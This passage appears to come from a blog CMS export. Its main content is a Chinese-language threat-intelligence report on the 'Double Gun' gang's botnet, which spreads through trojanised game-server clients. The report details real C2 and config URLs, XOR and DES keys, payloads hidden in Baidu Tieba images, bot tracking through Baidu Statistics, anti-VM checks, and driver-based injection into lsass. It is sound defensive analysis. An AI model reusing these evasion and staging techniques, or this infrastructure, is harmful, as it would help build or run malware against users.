<img src="__GHOST_URL__/content/images/2022/05/rip_fbot_cmd-1.png" alt="rip_fbot_cmd-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_afterreg.png" alt="fodcha_afterreg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png" alt="fodcha_c2_dis" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2dnsips.png" alt="fodcha_c2dnsips" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2plaintext.png" alt="fodcha_c2plaintext" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_cfg.png" alt="fodcha_cfg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png" alt="fodcha_ddospacket" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png" alt="fodcha_disconfig" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_disdns.png" alt="fodcha_disdns" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_establishConn.png" alt="fodcha_establishConn" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2c.png" alt="fodcha_netplainb2c" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2cReg.png" alt="fodcha_netplainb2cReg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainc2b.png" alt="fodcha_netplainc2b" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOne.png" alt="fodcha_netStageOne" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOneb2c.png" alt="fodcha_netStageOneb2c" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrGroup.png" alt="fodcha_netStageThrGroup" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrReg.png" alt="fodcha_netStageThrReg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwoc2b.png" alt="fodcha_netStageTwoc2b" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_opennic.png" alt="fodcha_opennic" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_opennicHard.png" alt="fodcha_opennicHard" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_quad.png" alt="fodcha_quad" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_resolvns.png" alt="fodcha_resolvns" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_taskddos.png" alt="fodcha_taskddos" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png" alt="fodcha_xxtea" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_iccanHard.png" alt="fodcha_iccanHard" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_prapacket.png" alt="fodcha_prapacket" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png" alt="fodcha_ddosransom" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwob2c.png" alt="fodcha_netStageTwob2c" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/FODCHA_c2compose.png" alt="FODCHA_c2compose" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_dnsexample.png" alt="fodcha_dnsexample" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png" alt="fodcha_opendnsexample" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png" alt="fodcha_c2infras" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png" alt="fodcha_instimezone" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_atkvec.png" alt="wszero_atkvec" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_c2.png" alt="wszero_c2" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_cmdfmt.png" alt="wszero_cmdfmt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_ddos.png" alt="wszero_ddos" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_v1pkg.png" alt="wszero_v1pkg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_v2payload.png" alt="wszero_v2payload" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_v2pkg.png" alt="wszero_v2pkg" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/11/wszero_v3c2.png" alt="wszero_v3c2" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_1pkt.png" alt="hive_1pkt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_2pkt.png" alt="hive_2pkt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_beaconwait.png" alt="hive_beaconwait" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_botcert.png" alt="hive_botcert" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_brief.png" alt="hive_brief" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_c2cert.png" alt="hive_c2cert" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png" alt="hive_checkpayload" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_compose.png" alt="hive_compose" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_config.png" alt="hive_config" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_decode.png" alt="hive_decode" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_handxref.png" alt="hive_handxref" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_idaxref.png" alt="hive_idaxref" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_logd.png" alt="hive_logd" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_mac.png" alt="hive_mac" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_main.png" alt="hive_main" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_netinfo.png" alt="hive_netinfo" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png" alt="hive_patchbylab" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png" alt="hive_snfpkt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_snfsock.png" alt="hive_snfsock" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_sslsock.png" alt="hive_sslsock" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_tea.png" alt="hive_tea" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png" alt="hive_triggercmd" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png" alt="hive_triggerfinal" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfmt.png" alt="hive_triggerfmt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_triggerpkt.png" alt="hive_triggerpkt" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_type.png" alt="hive_type" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_uptime.png" alt="hive_uptime" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_vmware.png" alt="hive_vmware" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_function.png" alt="hive_function" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png" alt="hive_triggerpkt-1" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png" alt="hive_triggerfmt-1" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png" alt="hive_deviceinfo" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_devicebzip.png" alt="hive_devicebzip" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_mac-1.png" alt="hive_mac-1" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/12/hive_certi.png" alt="hive_certi" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_certconf.png" alt="hive_certconf" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_ca.png" alt="hive_ca" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_getkey.png" alt="hive_getkey" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_getteakey.png" alt="hive_getteakey" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/12/hive_aes.png" alt="hive_aes" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2023/01/hive_teakey.png" alt="hive_teakey" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png" alt="hive_beaconwaitcmd" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2023/01/hive_teadevice.png" alt="hive_teadevice" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2023/01/hive_packet.png" alt="hive_packet" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2023/01/hive_packetB.png" alt="hive_packetB" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2023/01/hive_devicebziphex.png" alt="hive_devicebziphex" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png" alt="hive_devicebzip" loading="lazy"></p>
<!--kg-card-end: markdown--><p></p><p></p><p></p> |
!
ngio_compare
!
444-1
!
zh_proctest
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[](http://)\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n[ngio_compare](__GHOST_URL__/content/images/2020/11/ngio_compare.PNG)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n[444-1](__GHOST_URL__/content/images/2021/01/444-1.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n!\n[zh_proctest](__GHOST_URL__/content/images/2021/03/zh_proctest.png)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 5ea036837646030007b2756f |
post | null | 2020-04-24T02:51:01.000Z | 63873b9a8b1c1e0007f52f6f | shuang-qiang-zui-xin-huo-dong-fen-xi-bao-gao-nei-bu-bao-gao-ban | 0 | 2020-05-23T00:09:01.000Z | public | published | null | 2020-05-23T00:09:01.000Z | 双枪团伙新动向，借云服务管理数十万僵尸网络 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/SethKingHi">jinye</a>，<a href="https://twitter.com/JiaYu_521">JiaYu</a>，suqitian，核心安全部研究员THL</em></p>
<h2 id="">概述</h2>
<p>近日，我们的域名异常监测系统 DNSMon 捕捉到域名 <code>pro.csocools.com</code> 的异常活动。根据数据覆盖度估算，感染规模超过100k。我们通过告警域名关联到一批样本和 C2，分析样本后发现是与双枪恶意程序相关的团伙开始新的大规模活动。近年来双枪团伙屡次被安全厂商曝光和打击，但每次都能死灰复燃高调复出，可见其下发渠道非常庞大。本次依然是因为受感染主机数量巨大，导致互联网监测数据异常，触发了netlab的预警系统。本报告中我们通过梳理和这些URL相关的C2发现了一些模式，做了一些推测。</p>
<p>我们观察到恶意软件除了使用百度贴吧图片来分发配置文件和恶意软件，还使用了阿里云存储来托管配置文件。为了提高灵活性和稳定性，加大阻拦难度，开发者还利用百度统计这种常见的网络服务来管理感染主机的活跃情况。同时我们在样本中多次发现了腾讯微云的URL地址，有意思的是我们在代码中并没有找到引用这些地址的代码。至此，双枪团伙第一次将BAT三大厂商的服务集成到了自己的程序中，可以预见使用开放服务来管理僵尸网络或将成为流行趋势。有必要澄清的是，这些公开服务本身均为技术中立，此恶意代码中滥用这些公开服务完全是其作者的蓄意行为，各主要互联网公司均在用户许可中明确反对并采取措施抵御这些恶意滥用行为。</p>
<p>5月14日起，我们联系到了百度安全团队，采取了联合行动，对该恶意代码的传播范围做了度量，并采取了抵御措施。截止本文发稿，相关的恶意代码下载链接已经被阻断。百度安全团队对该事件的声明见文末。</p>
<h2 id="ioc">IOC关联分析</h2>
<p>从告警域名入手，通过DNS解析记录和样本流量分析建立IOC关联，过滤掉孤立和噪音节点，我们找到了一组与此次传播活动有关的关键C2。从下面截取的部分IOC关联图可以看出，几乎所有的域名都和两个关键的ip 地址 125.124.255.20 和 125.124.255.79 有关，围绕这两个ip地址，双枪团伙从19年下半年开始依次启用了一批域名来控制和下发恶意程序。事实上这个团伙长期且稳定的控制了大量 125.124.255.0/24 网段的ip地址，可以看出他们拥有非常丰富的网络资源。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/IOC_simple.png"/></div>
<p>通过样本溯源可以看到，这次大规模感染主要是通过诱导用户安装包含恶意代码的网游私服客户端，具体感染方式大体分为两种，下面进行深入分析。</p>
<div align="center"><img width="1000" src="__GHOST_URL__/content/images/2020/04/pljx_infect_flow-2.png"/></div>
<h2 id="1">感染方式1 — 启动器内包含恶意代码</h2>
<h3 id="1csdll">阶段1 — 下载并加载cs.dll恶意文件</h3>
<p>各类私服入口</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/clinet_web_page.png"/></div>
<p>点击下载链接跳到私服主页</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/client_home_page.png"/></div>
<p>登录器下载 “蟠龙军衔.zip”</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/clinet_zip_file.png"/></div>
<p>含恶意代码的私服客户端启动器被用户下载并执行，恶意代码访问配置信息服务器，然后根据配置信息从百度贴吧下载并动态加载名为 <strong>cs.dll</strong> 的最新版本恶意程序。cs.dll 中的敏感字串使用了一种变形的 DES 加密方法，这种加密算法和我们之前捕捉到的双枪样本高度相似。我们从样本主体 exe 文件入手，逐步分析上述恶意行为。</p>
<ul>
<li>
<p>文件结构</p>
<p>"蟠龙军衔.exe" PE Resource 中包含 7 个文件，Widget.dll 是客户端组件，资源文件中的<strong>cs.dll</strong> 是旧版的恶意程序。4 个 <code>.sys</code> 文件是私服客户端的驱动程序，虽然命名为<code>Game Protect</code>，但我们在代码中发现了劫持流量插入广告的代码。</p>
<div align="center"><img width="500" src="__GHOST_URL__/content/images/2020/04/pljx_pe_res-1.png"/></div>
</li>
<li>
<p>下载配置信息</p>
<p>启动器创建线程访问加密配置文件 <code>http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt</code></p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/get_mtdlq_cfg_code.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg.png"/></div>
<p>页面包含 8 行 16 进制字串，与密钥 <code>B2 09 BB 55 93 6D 44 47</code> 循环异或即可解密。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/xor_decrypt_code.png"/></div>
<p>解密后是 8 个百度贴吧图片的地址。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg_decryptd.png"/></div>
</li>
<li>
<p>下载图片文件切割并重组 cs.dll 文件</p>
<p>直接访问图片地址，图片文内容看起来像是随机生成的。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tieba_jpg.png"/></div>
<p>恶意程序会下载图片文件，每张图片使用 <code>><>>><</code> 为标记来分隔图像数据和恶意代码数据。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tiebao_jpg_cut_pe.png"/></div>
<p>把所有恶意代码拼接起来我们得到了阶段 2 的恶意程序 cs.dll。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abcd_exp_EP.png"/></div>
<p>恶意程序通过内存映射的方式加载上述 cs.dll，然后调用导出函数 <strong>abcd()</strong> 进入阶段 2 ，所以并没有文件落地。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/mtdl_load_cs_abcd.png"/></div>
</li>
</ul>
<h3 id="2">阶段2 — 上报主机信息，释放并加载恶意驱动</h3>
<p>cs.dll 会进行一些简单的虚拟机和杀软对抗，利用百度统计服务上报 Bot 信息，释放第 3 阶段 VMP 加壳的驱动程序（包含x86/x64两个版本）。</p>
<ul>
<li>
<p>DES 解密算法</p>
<p>样本中的 DES 解密算法为恶意软件作者自定义实现，加密模式为 CBC，无填充。DES 加密算法的转换表与旧版（<a href="__GHOST_URL__/shuang-qiang-mu-ma-ji-chu-she-shi-geng-xin-ji-xiang-ying-chuan-bo-fang-shi-fen-xi/">“双枪”木马的基础设施更新及相应传播方式的分析</a>）相同 。本次恶意活动涉及的 DES 解密，都涉及 2 层解密，第一层解密，先以 Base64 算法解码字符串 <strong>dBvvIEmQW2s=</strong> 得到一份二进制数据，再以空密钥 <code>\x00\x00\x00\x00\x00\x00\x00\x00</code> 对上述二进制数据解密，得出字串 <code>helloya\x00</code>，再以此字串作为密钥，用自研 DES 算法解密其他大量密文数据。完整的解密过程如下：</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/mal_des-1.png"/></div>
</li>
<li>
<p>检查虚拟主机环境 VM 和 WM</p>
<p>通过检查注测表项判断是否是 VMWare 主机，如果是 VM 主机代码则直接返回。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkVM.png"/></div>
<p>检查系统服务 <strong>WayOSFw</strong> 是否存在，如果服务存在则直接返回。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkWM.png"/></div>
</li>
<li>
<p>创建 Bot ID</p>
<p>使用系统 API 创建主机的 Bot ID，写入注册表 <code>SOFTWARE\\PCID</code>，</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_create_bot_id.png"/></div>
</li>
<li>
<p>利用百度统计服务管理 Bot</p>
<p>恶意软件的开发者借用了百度统计接口的一些标准字段来上报主机敏感信息，利用百度统计这种常见的网络行为来管理感染主机的活跃情况。因为百度统计服务被大量网站使用，从流量上看是一套合规的浏览器网络行为，所以很难将其区分出来，加大了安全厂商打击的难度。</p>
<p>恶意程序首先使用一个名为 <strong>DataWork()</strong> 的函数伪造浏览器请求，下载 <strong>hm.js</strong> 脚本。</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_GET_headers.png"/></div>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/cs_abc_datawork_dl_hm_js.png"/></div>
<p>保存返回信息中的用户 Cookie 信息 <strong>HMACCOUNT</strong> 到注册表。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_path.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_hm.png"/></div>
<p>通过 <code>http://hm.baidu.com/hm.gif?</code> 接口，恶意程序将提取到的统计脚本的版本信息<code>this.b.v</code>、用户 Cookie 信息、bot_id 和伪造的其它统计信息组包上报，恶意软件开发者使用百度统计的后台可以方便的管理和评估感染用户。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_baidu_hm_gif_url.png"/></div>
</li>
<li>
<p>从 <strong>Dat</strong> 资源解密，创建，安装驱动</p>
<p>检查是否安装了 <code>XxGamesFilter</code> 等私服客户端驱动。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkGameProtectDriver.png"/></div>
<p>根据安装情况和操作系统版本选择不同的资源 ID，每一个资源对应不同版本的驱动（32 位系统使用 ID 为 111 或 109 资源，64 位系统使用 ID 为 110 或 112 的资源）。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_load_Dat_res.png"/></div>
<p>资源是简单加密过的，以解密 32 位驱动为例，首先倒转数据顺序，然后逐字节和系统版本数值 32 异或，得到一个 VMP 加壳的驱动文件。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_decrypt_Dat_GameGu_32.png"/></div>
<p>检测是否存在 <code>TeSafe</code> 驱动，如果存在刚中断感染流程。计算 <code>TeSafe+{Computer Name}</code> 的 MD5 值，检测是否存在名为该 MD5 字串的驱动，如果存在说明系统已经被感染过，也会中断感染流程。</p>
<pre><code>//拼接字串
+00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P
+10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A..........
//拼接字串的MD5值
+00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620
+10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42
</code></pre>
<p>如果系统 <code>EnableCertPaddingCheck</code> 注册表项关闭，则替换文件末尾 16 字节为随机数据。这样每个感染主机上的样本 HASH 值完全不一样，可以对抗基于 HASH 查杀的方案。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_checkEnableCertPaddingCheck.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_padding_rand_data_code.png"/></div>
<p>将驱动程序释放到 TEMP 目录下，文件名为长度为 7 的随机字符串。例如：<code>"C:\Users\{User Name}\AppData\Local\Temp\iiitubl"</code></p>
<p>注册驱动文件启动服务并检测安装是否成功。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/cs_abc_check_drv_install.png"/></div>
</li>
</ul>
<h3 id="3">阶段3 — 劫持系统进程，下载后续恶意程序</h3>
<p>驱动运行后会拷贝自己到 <code>Windows/system32/driver/{7个随机字符}.sys</code> ，伪造驱动设备信息为常见的合法驱动，如 <code>fltMgr.sys</code> ，向系统进程 <code>Lassas.exe</code> 和 <code>svchost.exe</code> 注入 DLL 模块。完成整个初始化过程后，就形成了一个驱动和 DLL 模块通过 <strong>DeviceIoControl()</strong> 通信合作来完成作务的工作模式，这是一个驱动级别的下载器。所有敏感的配置信息都保存在驱动内部，DLL 通过调用驱动来获得配置服务器相关信息，根据下载的配置信息去百度贴吧下载其它恶意代码，进行下一阶段的恶意活动。</p>
<ul>
<li>
<p>驱动运行后用APC注入法向系统进程 Lassas.exe 注入 DLL 模块。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_inject_lsass.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_inject_apc.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_layoout.png"/></div>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_PE_header.png"/></div>
</li>
<li>
<p>DLL 配合驱动的执行过程。</p>
<p>DLL 首先尝试创建互斥对象 <code>{12F7BB4C-9886-4EC2-B831-FE762D4745DC}</code> ，防止系统创建多个实例。</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_create_mutex.png"/></div>
<p>接着会检查宿住进程是否是 Lsass.exe 或 svchost.exe，确保不是运行在沙箱之类的分析环境中。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_check_host_process.png"/></div>
<p>尝试创建设备 <code>"\\.\F46EA07E79033620CE13D35DE19AAC42"</code> 句柄，建立和驱动模块的通信。</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_open_tesafe.png"/></div>
<p>向驱动发送 <strong>0x222084</strong> 设备控制码，获得连接服务器的配置信息。和配置服务器的通信使用 HTTPS+DES 的双重加密方式，配置信息包含三个重要的部分：</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_deviceio_get_init_cfg.png"/></div>
<ol>
<li>
<p>主机信息上报服务 <code>https://cs.wconf5.com:12709/report.ashx</code>，供 DLL 上报主机基本信息。</p>
<p>bot id，安装时间等基本信息。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_all.png"/></div>
<p>是否安装 360 杀毒，是否是虚拟机环境。</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_vm_av.png"/></div>
<p>是否是无盘工作站。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_vdisk.png"/></div>
<p>上报主机信息使用DES加密，密钥为 <code>HQDCKEY1</code>。</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_submit_hostinfo.png"/></div>
</li>
<li>
<p>访问 <code>https://cs.wconf5.com:12710/123.html</code> 下载配置信息：</p>
<div align="center"><img width="700" src="__GHOST_URL__/content/images/2020/04/dl_drv_get_cfg_123.png"/></div>
<p>配置信息依然是变形 DES 加密，解密密钥为 <code>HQDCKEY1</code>。解密后可以看到配置信息使用自定义的格式，两个百度图片为一组，截取有效数据拼接为一个有效文件：</p>
<div align="center"><img width="800" src="__GHOST_URL__/content/images/2020/04/dl_drv_cfg_123_decrypted.png"/></div>
</li>
<li>
<p>配置信息 <code>https://share.weiyun.com/5dSpU6a</code> 功能未知：</p>
<div align="center"><img width="600" src="__GHOST_URL__/content/images/2020/04/dl_drv_query_weiyun.png"/></div>
<p>所有驱动样本返回的配置信息都包含一个腾讯微云地址，直接访问该地址可以看到若干字符和数字组成的无意义字串。我们在收集到的配置信息中发现，每组数据中的配置信息服务器和微云保存的数据存在特定的模式。以上图为例，访问腾讯微云，获取字符串 <code>cs127</code>，其同组数据中的配置文件服务器的子域为 <code>cs.xxxx.com</code> ，端口为<code>127xx</code>。这看起来像是一种动态生成配置文件服务器地址的策略，推测可能是还在开发阶段的功能，所以样本中并未包含对应代码。</p>
</li>
</ol>
</li>
</ul>
